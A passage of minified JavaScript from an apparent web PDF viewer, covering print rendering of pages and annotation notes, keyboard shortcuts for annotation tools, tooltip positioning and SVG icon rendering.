!important;\n flex-direction: column;\n padding: 0.6rem;\n border: 0.1rem lightgray solid;\n border-radius: 0.4rem;\n margin-bottom: 0.5rem;\n }\n\n #print-handler .page__container .note .note__info {\n display: block !important;\n font-size: 1.3rem;\n margin-bottom: 0.1rem;\n }\n\n #print-handler .page__container .note .note__info--with-icon {\n display: flex !important;\n }\n\n #print-handler .page__container .note .note__info--with-icon .note__icon {\n display: block !important;\n width: 1.65rem;\n height: 1.65rem;\n margin-top: -0.1rem;\n margin-right: 0.2rem;\n }\n\n #print-handler .page__container .note .note__info--with-icon .note__icon path:not([fill=none]) {\n display: block !important;\n fill: currentColor;\n }\n\n #print-handler .page__container .note .note__root .note__content {\n display: block !important;\n margin-left: 0.3rem;\n }\n\n #print-handler .page__container .note .note__root {\n display: block !important;\n }\n\n #print-handler .page__container .note .note__info--with-icon .note__icon svg {\n display: block !important;\n }\n\n #print-handler .page__container .note .note__reply {\n display: block !important;\n margin: 0.5rem 0 0 2rem;\n }\n\n #print-handler .page__container .note .note__content {\n display: block !important;\n font-size: 1.2rem;\n margin-top: 0.1rem;\n }\n\n #app {\n overflow: visible !important;\n }\n\n .App {\n display: none !important;\n }\n\n html, body, #app {\n max-width: none !important;\n }\n }\n ",window.parent.document.head.appendChild(r)}window.print()}else document.execCommand("print")},yc=function(e){return vt.getAnnotationsList().filter((function(t){return t.Listable&&t.PageNumber===e&&!t.isReply()&&!t.isGrouped()&&t.Printable}))},bc=function(e,t,n,r){return new Promise((function(o){var i,a=e-1,l=1,s=Ec(a,n),u=function(){var n=cc(regeneratorRuntime.mark((function n(r){var i,l,s,u;return regeneratorRuntime.wrap((function(n){for(;;)switch(n.prev=n.next){case 0:return dc=dc.filter((function(e){return e!==E})),Sc(r,a),i=[],t||(l=vt.getAnnotationsList().filter((function(t){return t.PageNumber===e&&!(t instanceof window.Annotations.WidgetAnnotation)})),i=l.map((function(e){return{annotation:e,printable:e.Printable}})),l.forEach((function(e){e.Printable=!1}))),vt.getDocumentViewer().isGrayscaleModeEnabled()&&((s=r.getContext("2d")).globalCompositeOperation="color",s.fillStyle="white",s.globalAlpha=1,s.fillRect(0,0,r.width,r.height),s.globalCompositeOperation="source-over"),n.next=7,Cc(r,e);case 7:i.forEach((function(e){e.annotation.Printable=e.printable})),(u=document.createElement("img")).src=r.toDataURL(),u.onload=function(){o(u)};case 11:case"end":return n.stop()}}),n)})));return function(e){return n.apply(this,arguments)}}();if(r){var c=vt.getDisplayModeObject(),f=vt.getScrollViewElement(),d=vt.getViewerElement(),p=document.querySelector(".Header"),h=document.querySelector(".HeaderToolsContainer"),m=(null==p?void 0:p.clientHeight)+(null==h?void 0:h.clientHeight),g=[];g[0]=c.windowToPageNoRotate({x:Math.max(f.scrollLeft,d.offsetLeft),y:Math.max(f.scrollTop+m,0)},e),g[1]=c.windowToPageNoRotate({x:Math.min(window.innerWidth,d.offsetLeft+d.offsetWidth)+f.scrollLeft,y:window.innerHeight+f.scrollTop},e);var v=Math.min(g[0].x,g[1].x),y=Math.min(g[0].y,g[1].y),b=Math.max(g[0].x,g[1].x),w=Math.max(g[0].y,g[1].y);l=vt.getZoom(),i={x1:v,y1:y,x2:b,y2:w}}var E=vt.getDocument().loadCanvas({pageNumber:e,zoom:l,pageRotation:s,drawComplete:u,multiplier:pc,print:!0,renderRect:i});dc.push(E)}))},wc=function(e,t,n,r){return new Promise((function(o){var i=document.createElement("div");i.className="page__container";var a=document.createElement("div");a.className="page__header",a.innerHTML="".concat(st.t("option.shared.page")," ").concat(t),i.appendChild(a),e.forEach((function(e){var t=Oc(e,n,r);i.appendChild(t)})),o(i)}))},Ec=function(e,t){if(!t){var n=vt.getPageInfo(e+1),r=n.width,o=n.height,i=(4-xc(e))%4;return i%2==0&&r>o?i++:i%2==1&&o>r&&i--,i}return window.documentViewer.getRotation(e+1)},Sc=function(e,t){var n=vt.getPageInfo(t+1),r=n.width,o=n.height,i=xc(t),a=e.getContext("2d"),l=(4-i)%4,s=l%2==0&&r>o||l%2==1&&o>r;if(window.utils.isPdfjs&&s)switch(i){case 0:a.translate(o,0),a.rotate(90*Math.PI/180);break;case 1:a.translate(0,o),a.rotate(270*Math.PI/180);break;case 2:a.translate(o,0),a.rotate(-270*Math.PI/180);break;case 3:a.translate(0,o),a.rotate(270*Math.PI/180)}else if(!window.utils.isPdfjs){switch(i){case 1:a.translate(r,0);break;case 2:a.translate(r,o);break;case 3:a.translate(0,o)}a.rotate(90*i*Math.PI/180)}},Cc=function(e,t){vt.getDocumentViewer().isGrayscaleAnnotationsModeEnabled()&&(e.getContext("2d").filter="grayscale(1)");if(0===vt.getAnnotationsList().filter((function(e){return e.PageNumber===t&&e instanceof window.Annotations.WidgetAnnotation})).length)return vt.drawAnnotations(t,e);var r=kc(t-1);return vt.drawAnnotations(t,e,!0,r).then((function(){return document.body.appendChild(r),n.e(1).then(n.t.bind(null,1384,7)).then((function(t){return(0,t.default)(r,{canvas:e,backgroundColor:null,scale:1,logging:!1}).then((function(){document.body.removeChild(r)}))}))}))},xc=function(e){var t=e+1;return(vt.getCompleteRotation(t)-vt.getRotation(t)+4)%4},Oc=function(e,t,n){var r=document.createElement("div");r.className="note";var o=document.createElement("div");o.className="note__root";var i=document.createElement("div");i.className="note__info--with-icon";var a=Ac(e);return i.appendChild(a),i.appendChild(_c(e,t,n)),o.appendChild(i),o.appendChild(Tc(e)),r.appendChild(o),e.getReplies().forEach((function(e){var o=document.createElement("div");o.className="note__reply",o.appendChild(_c(e,t,n)),o.appendChild(Tc(e)),r.appendChild(o)})),r},Ac=function(e){var t,r=ac(e),o=fc[r]&&fc[r].iconColor,i=sc(r).icon;if(i&&0===i.trim().indexOf("data:"))(t=document.createElement("img")).src=i;else{var a;if(i)a=0===i.indexOf("<svg")?i:n(266)("./".concat(i,".svg"));else a=e.Subject;(t=document.createElement("div")).innerHTML=a}return t.className="note__icon",t.style.color=o&&e[o].toHexString(),t},_c=function(e,t,n){var r=document.createElement("div"),o=Fu()(e.DateCreated).format(t);return n&&(o=Fu()(e.DateCreated).locale(n).format(t)),r.className="note__info",""===e.Subject||null===e.Subject||void 0===e.Subject?r.innerHTML="\n ".concat(st.t("option.printInfo.author"),": ").concat(vt.getDisplayAuthor(e.Author)||""," \n ").concat(st.t("option.printInfo.date"),": ").concat(o,"\n "):r.innerHTML="\n ".concat(st.t("option.printInfo.author"),": ").concat(vt.getDisplayAuthor(e.Author)||""," \n ").concat(st.t("option.printInfo.subject"),": ").concat(e.Subject," \n ").concat(st.t("option.printInfo.date"),": ").concat(o,"\n "),r},Tc=function(e){var t=document.createElement("div"),n=e.getContents();return t.className="note__content",n&&(t.style.whiteSpace="pre-wrap",t.innerHTML="".concat(n)),t},kc=function(e){var t=vt.getPageInfo(e+1),n=t.width,r=t.height,o=document.createElement("div");return o.id="printWidgetContainer",o.style.width=n,o.style.height=r,o.style.position="relative",o.style.top="-10000px",o},Pc=function(e){var t=vt.getTool(e),n=window.Core.Tools.ToolNames;return((null==t?void 0:t.name)===n.HIGHLIGHT||(null==t?void 0:t.name)===n.HIGHLIGHT2||(null==t?void 0:t.name)===n.HIGHLIGHT3||(null==t?void 0:t.name)===n.HIGHLIGHT4)&&!vt.isBlendModeSupported("multiply")&&(t.defaults.Opacity=null),null!=t&&t.name.includes(n.TEXT_FORM_FIELD)&&(t.defaults.Opacity=null),null==t?void 0:t.defaults},Mc=function(e,t){var n=Rc(t);vt.clearSelection(),vt.addAnnotations(n),vt.selectAnnotations(n),e(Ps.closeElement("textPopup"))},Rc=function(e){var t=[],n=vt.getSelectedTextQuads();return Object.keys(n).forEach((function(r){r=parseInt(r,10);var o=jc(e,r,n);!window.Core.Tools.TextAnnotationCreateTool.AUTO_SET_TEXT||o instanceof window.Annotations.RedactionAnnotation||o.setContents(vt.getSelectedText(r)),o.setCustomData("trn-annot-preview",vt.getSelectedText(r)),o instanceof window.Annotations.RedactionAnnotation&&(Ic(o),o.IsText=!0),Lc(o),t.push(o)})),t},jc=function(e,t,n){var r=new e;return r.PageNumber=t,r.Quads=n[t],r.Author=vt.getCurrentUser(),r},Lc=function(e){var t=function(e){return oc[ac(e)].toolNames[0]}(e);if(t){var n=Pc(t);Object.keys(n).forEach((function(t){e[t]=n[t]}))}},Ic=function(e){var t=vt.getToolModeMap().AnnotationCreateRedaction.defaults,n=void 0===t?{}:t;if(n){if(n.StrokeColor){var r=n.StrokeColor;e.StrokeColor=new window.Annotations.Color(r.R,r.G,r.B,r.A)}if(n.StrokeThickness&&(e.StrokeThickness=n.StrokeThickness),n.FillColor){var o=n.FillColor;e.FillColor=new window.Annotations.Color(o.R,o.G,o.B,o.A)}}},Nc=function(){var e,t,n=vt.getAnnotationsList().filter((function(e){return e instanceof window.Annotations.FreeTextAnnotation})).some((function(e){var t;return null===(t=e.getEditor())||void 0===t?void 0:t.hasFocus()})),r=document.activeElement;return r instanceof window.HTMLInputElement||r instanceof window.HTMLTextAreaElement||r.className.includes("ql-editor")||n||"input"===(null==r||null===(e=r.tagName)||void 0===e?void 0:e.toLowerCase())&&"text"===(null==r?void 0:r.getAttribute("type"))||"textarea"===(null==r||null===(t=r.tagName)||void 0===t?void 0:t.toLowerCase())},Dc=function(){return{Single:1,Continuous:1,Facing:2,FacingContinuous:2,CoverFacing:2,Cover:2}[vt.getDisplayMode()]||1},Fc=function(e){var t=vt.getTotalPages(),n=vt.getCurrentPage(),r=Math.min(t,e);(r=Math.max(1,r))!==n&&vt.setCurrentPage(r)};function Bc(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var Hc={arrow:"A",callout:"C",copy:"Control+C",delete:"Delete",ellipse:"O",eraser:"E",freehand:"F",freetext:"T",highlight:"H",line:"L",pan:"P",rectangle:"R",rotateClockwise:"Control+Shift+=",rotateCounterClockwise:"Control+Shift+-",select:"Escape",signature:"S",squiggly:"G",image:"I",redo:"Control+Shift+Z",undo:"Control+Z",stickyNote:"N",strikeout:"K",underline:"U",zoomIn:"Control+=",zoomOut:"Control+-","richText.bold":"Control+B","richText.italic":"Control+I","richText.underline":"Control+U","richText.strikeout":"Control+K"};var Vc=function(){},zc={CTRL_SHIFT_EQUAL:"ctrl+shift+=",COMMAND_SHIFT_EQUAL:"command+shift+=",CTRL_SHIFT_MINUS:"ctrl+shift+-",COMMAND_SHIFT_MINUS:"command+shift+-",CTRL_C:"ctrl+c",COMMAND_C:"command+c",CTRL_V:"ctrl+v",COMMAND_V:"command+v",CTRL_Z:"ctrl+z",COMMAND_Z:"command+z",CTRL_Y:"ctrl+y",COMMAND_SHIFT_Z:"command+shift+z",CTRL_O:"ctrl+o",COMMAND_O:"command+o",CTRL_F:"ctrl+f",COMMAND_F:"command+f",CTRL_EQUAL:"ctrl+=",COMMAND_EQUAL:"command+=",CTRL_MINUS:"ctrl+-",COMMAND_MINUS:"command+-",CTRL_0:"ctrl+0",COMMAND_0:"command+0",CTRL_P:"ctrl+p",COMMAND_P:"command+p",ENTER:"enter",PAGE_UP:"pageup",PAGE_DOWN:"pagedown",UP:"up",DOWN:"down",SPACE:"space",ESCAPE:"escape",P:"p",A:"a",C:"c",E:"e",F:"f",I:"i",L:"l",N:"n",O:"o",R:"r",Q:"q",T:"t",S:"s",G:"g",H:"h",K:"k",U:"u"};function Uc(){for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];return t.join(", ")}var Gc={},Wc={initialize:function(e){var t=this;vu.filter=function(){return!0},this.store=e,this.keyHandlerMap=this.createKeyHandlerMap(e),this.prevToolName=null,Object.keys(this.keyHandlerMap).forEach((function(e){t.on(e,t.keyHandlerMap[e])})),this.didInitializeAllKeys=!0},on:function(e,t){var n=this;function r(e,t){var n=t.keyup,r=void 0===n?Vc:n,o=t.keydown,i=void 0===o?t:o;vu(e,{keyup:!0},(function(e){"keyup"===e.type&&r(e),"keydown"===e.type&&i(e)}))}if(!!vt.getToolModeMap()[e]&&(e=this.getHotkeyByToolName(e)),t||(t=this.keyHandlerMap[e]),e&&t||this.didInitializeAllKeys||(this.keyHandlerMap=this.createKeyHandlerMap(this.store),this.prevToolName=null,Object.keys(this.keyHandlerMap).forEach((function(e){Gc[e]||r(e,n.keyHandlerMap[e])})),this.didInitializeAllKeys=!0),e)Gc[e.toLocaleLowerCase()]=!0;else for(var o in zc)Gc[zc[o]]=!0;e&&t&&r(e,t)},off:function(e,t){if(!!!vt.getToolModeMap()[e]||(e=this.getHotkeyByToolName(e))){if(e)Gc[e.toLocaleLowerCase()]=!1;else{for(var n in zc)Gc[zc[n]]=!1;this.didInitializeAllKeys=!1}vu.unbind(e,t)}},isActive:function(e){var t,n=Hc[e];return!n||(t=Lt?n.replace("Control","command").toLocaleLowerCase():n.replace("Control","ctrl").toLocaleLowerCase(),Gc[t])},createKeyHandlerMap:function(e){var t,n=this,r=e.dispatch,o=e.getState;return Bc(t={},"".concat(zc.CTRL_SHIFT_EQUAL,", ").concat(zc.COMMAND_SHIFT_EQUAL),(function(e){e.preventDefault(),vt.rotateClockwise()})),Bc(t,"".concat(zc.CTRL_SHIFT_MINUS,", ").concat(zc.COMMAND_SHIFT_MINUS),(function(e){e.preventDefault(),vt.rotateCounterClockwise()})),Bc(t,"".concat(zc.CTRL_C,", ").concat(zc.COMMAND_C),(function(){vt.getSelectedText()?(Su(),r(Ps.closeElement("textPopup"))):vt.getSelectedAnnotations().length&&vt.updateCopiedAnnotations()})),Bc(t,"".concat(zc.CTRL_V,", ").concat(zc.COMMAND_V),(function(e){Nc()||(e.preventDefault(),vt.pasteCopiedAnnotations())})),Bc(t,"".concat(zc.CTRL_Z,", ").concat(zc.COMMAND_Z),(function(e){Nc()||(e.preventDefault(),vt.undo())})),Bc(t,"".concat(zc.CTRL_Y,", ").concat(zc.COMMAND_SHIFT_Z),(function(e){Nc()||(e.preventDefault(),vt.redo())})),Bc(t,"".concat(zc.CTRL_O,", ").concat(zc.COMMAND_O),(function(e){e.preventDefault(),Eu()})),Bc(t,Uc(zc.CTRL_F,zc.COMMAND_F),(function(e){e.preventDefault(),fi.isElementOpen(o(),"notesPanel")&&r(Ps.closeElement("notesPanel")),fi.isElementOpen(o(),"redactionPanel")&&r(Ps.closeElement("redactionPanel")),fi.isElementOpen(o(),"wv3dPropertiesPanel")&&r(Ps.closeElement("wv3dPropertiesPanel")),r(Ps.toggleElement("searchPanel"))})),Bc(t,"".concat(zc.CTRL_EQUAL,", ").concat(zc.COMMAND_EQUAL),(function(e){e.preventDefault(),Lu()})),Bc(t,"".concat(zc.CTRL_MINUS,", ").concat(zc.COMMAND_MINUS),(function(e){e.preventDefault(),Iu()})),Bc(t,"".concat(zc.CTRL_0,", ").concat(zc.COMMAND_0),(function(e){e.preventDefault(),Ot?vt.fitToWidth():vt.fitToPage()})),Bc(t,Uc(zc.CTRL_P,zc.COMMAND_P),(function(e){e.preventDefault(),hc(r,fi.isEmbedPrintSupported(o()),fi.getSortStrategy(o()),fi.getColorMap(o()))})),Bc(t,"".concat(zc.PAGE_UP),(function(e){e.preventDefault(),Fc(vt.getCurrentPage()-Dc())})),Bc(t,"".concat(zc.PAGE_DOWN),(function(e){e.preventDefault(),Fc(vt.getCurrentPage()+Dc())})),Bc(t,"".concat(zc.UP),(function(){if(!Nc()&&!vt.isContinuousDisplayMode()){var e=vt.getScrollViewElement(),t=e.scrollHeight,n=e.clientHeight;if(0===e.scrollTop){var r=vt.getCurrentPage();Fc(r-Dc()),r>1&&(e.scrollTop=t-n)}}})),Bc(t,"".concat(zc.DOWN),(function(){if(!Nc()&&!vt.isContinuousDisplayMode()){var e=vt.getScrollViewElement(),t=e.scrollTop,n=e.clientHeight,r=e.scrollHeight;Math.abs(t+n-r)<=1&&Fc(vt.getCurrentPage()+Dc())}})),Bc(t,"".concat(zc.SPACE),{keyup:this.createToolHotkeyHandler((function(t){t.preventDefault(),xu(e,n.prevToolName),n.prevToolName=null})),keydown:this.createToolHotkeyHandler((function(t){t.preventDefault(),"Pan"!==vt.getToolMode().name&&(n.prevToolName=vt.getToolMode().name,xu(e,"Pan"))}))}),Bc(t,"".concat(zc.ESCAPE),(function(t){t.preventDefault(),xu(e,"AnnotationEdit"),r(Ps.closeElements(["annotationPopup","textPopup","contextMenuPopup","toolStylePopup","annotationStylePopup","signatureModal","customStampModal","printModal","rubberStampOverlay","contentEditModal","filterModal"]))})),Bc(t,"".concat(zc.P),this.createToolHotkeyHandler((function(){xu(e,"Pan")}))),Bc(t,"".concat(zc.A),this.createToolHotkeyHandler((function(){xu(e,"AnnotationCreateArrow")}))),Bc(t,"".concat(zc.C),this.createToolHotkeyHandler((function(){xu(e,"AnnotationCreateCallout")}))),Bc(t,"".concat(zc.E),this.createToolHotkeyHandler((function(){xu(e,"AnnotationEraserTool")}))),Bc(t,"".concat(zc.F),this.createToolHotkeyHandler((function(){xu(e,"AnnotationCreateFreeHand")}))),Bc(t,"".concat(zc.I),this.createToolHotkeyHandler((function(){xu(e,"AnnotationCreateStamp")}))),Bc(t,"".concat(zc.L),this.createToolHotkeyHandler((function(){xu(e,"AnnotationCreateLine")}))),Bc(t,"".concat(zc.N),this.createToolHotkeyHandler((function(){xu(e,"AnnotationCreateSticky")}))),Bc(t,"".concat(zc.O),this.createToolHotkeyHandler((function(){xu(e,"AnnotationCreateEllipse")}))),Bc(t,"".concat(zc.R),this.createToolHotkeyHandler((function(){xu(e,"AnnotationCreateRectangle")}))),Bc(t,"".concat(zc.Q),this.createToolHotkeyHandler((function(){xu(e,"AnnotationCreateRubberStamp")}))),Bc(t,"".concat(zc.T),this.createToolHotkeyHandler((function(){xu(e,"AnnotationCreateFreeText")}))),Bc(t,"".concat(zc.S),this.createToolHotkeyHandler((function(){var e=document.querySelector('[data-element="signatureToolButton"] .Button');null==e||e.click()}))),Bc(t,"".concat(zc.G),this.createToolHotkeyHandler((function(){vt.getSelectedText()?Mc(r,window.Annotations.TextSquigglyAnnotation):xu(e,"AnnotationCreateTextSquiggly")}))),Bc(t,"".concat(zc.H),this.createToolHotkeyHandler((function(){vt.getSelectedText()?Mc(r,window.Annotations.TextHighlightAnnotation):xu(e,"AnnotationCreateTextHighlight")}))),Bc(t,"".concat(zc.K),this.createToolHotkeyHandler((function(){vt.getSelectedText()?Mc(r,window.Annotations.TextStrikeoutAnnotation):xu(e,"AnnotationCreateTextStrikeout")}))),Bc(t,"".concat(zc.U),this.createToolHotkeyHandler((function(){vt.getSelectedText()?Mc(r,window.Annotations.TextUnderlineAnnotation):xu(e,"AnnotationCreateTextUnderline")}))),t},createToolHotkeyHandler:function(e){var t=this.store.getState;return function(){var n=fi.getOpenElements(t()),r=vt.getToolMode().name,o=r===window.Core.Tools.ToolNames.SIGNATURE&&n.signatureModal;Nc()||o||e.apply(void 0,arguments)}},getHotkeyByToolName:function(e){return{AnnotationEdit:"escape",Pan:"p",AnnotationCreateArrow:"a",AnnotationCreateCallout:"c",AnnotationEraserTool:"e",AnnotationCreateFreeHand:"f",AnnotationCreateStamp:"i",AnnotationCreateLine:"l",AnnotationCreateSticky:"n",AnnotationCreateEllipse:"o",AnnotationCreateRectangle:"r",AnnotationCreateFreeText:"t",AnnotationCreateSignature:"s",AnnotationCreateTextSquiggly:"g",AnnotationCreateTextHighlight:"h",AnnotationCreateTextStrikeout:"k",AnnotationCreateTextUnderline:"u",AnnotationCreateRubberStamp:"q"}[e]}},qc=Object.create(Wc);n(924);function Zc(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function Yc(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Zc(Object(n),!0).forEach((function(t){$c(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Zc(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function $c(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function Kc(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return Xc(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Xc(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Xc(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var Qc={children:Is.a.element.isRequired,content:Is.a.string,hideShortcut:Is.a.bool,forcePosition:Is.a.string,hideOnClick:Is.a.bool},Jc=Object(l.forwardRef)((function(e,t){var n=e.content,r=void 0===n?"":n,o=e.children,i=e.hideShortcut,a=e.forcePosition,u=e.hideOnClick,f=Object(l.useRef)(null),d=Object(l.useRef)(null);Object(l.useImperativeHandle)(t,(function(){return d.current}));var p=Object(l.useRef)(null),h=Kc(Object(l.useState)(!1),2),m=h[0],g=h[1],v=Kc(Object(l.useState)(0),2),y=v[0],b=v[1],w=Kc(Object(l.useState)({top:0,left:0}),2),E=w[0],S=w[1],C=Kc(Object(l.useState)("bottom"),2),x=C[0],O=C[1],A=Kc(Ks(),1)[0];Object(l.useEffect)((function(){var e,t,n,r=function(){f.current=setTimeout((function(){g(!0)}),650)},o=function(){clearTimeout(f.current),g(!1)};(null===(e=d.current)||void 0===e||e.addEventListener("mouseenter",r),null===(t=d.current)||void 0===t||t.addEventListener("mouseleave",o),u)&&(null===(n=d.current)||void 0===n||n.addEventListener("click",o));var i=new MutationObserver((function(e){var t=e[e.length-1];t&&"disabled"==t.attributeName&&t.target.disabled&&o()}));return i.observe(d.current,{attributes:!0,childList:!1,characterData:!1}),function(){var e,t;o(),i.disconnect(),null===(e=d.current)||void 0===e||e.removeEventListener("mouseenter",r),null===(t=d.current)||void 0===t||t.removeEventListener("mouseleave",o)}}),[d,u]),Object(l.useLayoutEffect)((function(){var e,t,n,r,o,i,l,s=d.current,u=p.current;m&&s&&u?(e=s.getBoundingClientRect(),t=u.getBoundingClientRect(),n={bottom:{top:e.bottom,left:e.left+e.width/2-t.width/2},bottomLeft:{top:e.bottom,left:e.left},left:{top:e.top+e.height/2-t.height/2,left:e.left-t.width},right:{top:e.top+e.height/2-t.height/2,left:e.right},top:{top:e.top-t.height,left:e.left+e.width/2-t.width/2}},r=Object.keys(n).find((function(e){if(a)return e===a;var r=n[e],o=r.top,i=r.left;return o>0&&o+t.height<window.innerHeight&&i>0&&i+t.width<window.innerWidth}))||"bottom",i=(o=n[r]).top,l=o.left,S({top:i,left:l}),O(r),setTimeout((function(){b(1)}),50)):b(0)}),[d,m]);var _=Mt||Rt,T=s.a.cloneElement(o,{ref:d}),k=A(r),P=r.slice(r.indexOf(".")+1);It&&"redo"===P&&(P="redo_windows");var M=qc.isActive(P),R=-1===A("shortcut.".concat(P)).indexOf("."),j=A("shortcut.".concat(P));return Lt&&(j=j.replace("Ctrl","Cmd")),M||(R=!1),s.a.createElement(s.a.Fragment,null,T,m&&k&&!_&&c.a.createPortal(s.a.createElement("div",{className:"tooltip--".concat(x),style:Yc({opacity:y},E),ref:p},s.a.createElement("div",{className:"tooltip__content"},k,R&&!i&&s.a.createElement("span",{className:"tooltip__shortcut"},j))),document.getElementById("app")))}));Jc.propTypes=Qc;var ef=Jc;n(930);function tf(e){return(tf="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function nf(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function rf(e,t){return(rf=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function of(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=lf(e);if(t){var o=lf(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return af(this,n)}}function af(e,t){if(t&&("object"===tf(t)||"function"==typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or undefined");return function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e)}function lf(e){return(lf=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function sf(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var uf=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,"prototype",{writable:!1}),t&&rf(e,t)}(a,e);var t,r,o,i=of(a);function a(){var e;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,a),(e=i.call(this)).icon=s.a.createRef(),e}return t=a,(r=[{key:"componentDidMount",value:function(){this.updateSvg()}},{key:"componentDidUpdate",value:function(e){this.props.glyph!==e.glyph&&this.updateSvg()}},{key:"updateSvg",value:function(){if(this.isInlineSvg()){for(var e=this.icon.current;e.firstChild;)e.removeChild(e.firstChild);var t=(new DOMParser).parseFromString(this.props.glyph,"image/svg+xml").querySelector("svg");e.appendChild(t)}}},{key:"isInlineSvg",value:function(){var e=this.props.glyph;return e&&0===e.indexOf("<svg")}},{key:"render",value:function(){var e,t,r=this.props,o=r.className,i=void 0===o?"":o,a=r.color,l=r.glyph,u=r.fillColor,c=void 0===u?"":u,f=r.strokeColor,d=void 0===f?"":f,p=r.disabled,h=!a||"rgba(255, 255, 255, 1)"!==a&&"rgb(255, 255, 255)"!==a?void 0:"drop-shadow(0 0 .5px #333)";try{t=this.isInlineSvg()?l:n(266)("./".concat(this.props.glyph,".svg"))}catch(e){t=void 0}var m={filter:h};return p||(m.color="rgba(0, 0, 0, 0)"===a?"#808080":a,c&&(t=t.replace('fill="none"','fill="#'.concat(c,'"'))),d&&(t=t.replace('fill="stroke"','fill="#'.concat(d,'"')))),s.a.createElement("div",{ref:this.icon,className:js()((e={Icon:!0},sf(e,i,!0),sf(e,c,!0),sf(e,"disabled",p),e)),style:m,dangerouslySetInnerHTML:{__html:t}})}}])&&nf(t.prototype,r),o&&nf(t,o),Object.defineProperty(t,"prototype",{writable:!1}),a}(s.a.PureComponent);sf(uf,"propTypes",{className:Is.a.string,color:Is.a.string,glyph:Is.a.string.isRequired,fillColor:Is.a.string,strokeColor:Is.a.string,disabled:Is.a.bool});var cf=uf;n(931);function ff(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function df(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?ff(Object(n),!0).forEach((function(t){pf(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):ff(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function pf(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function hf(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return mf(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return mf(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function mf(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var 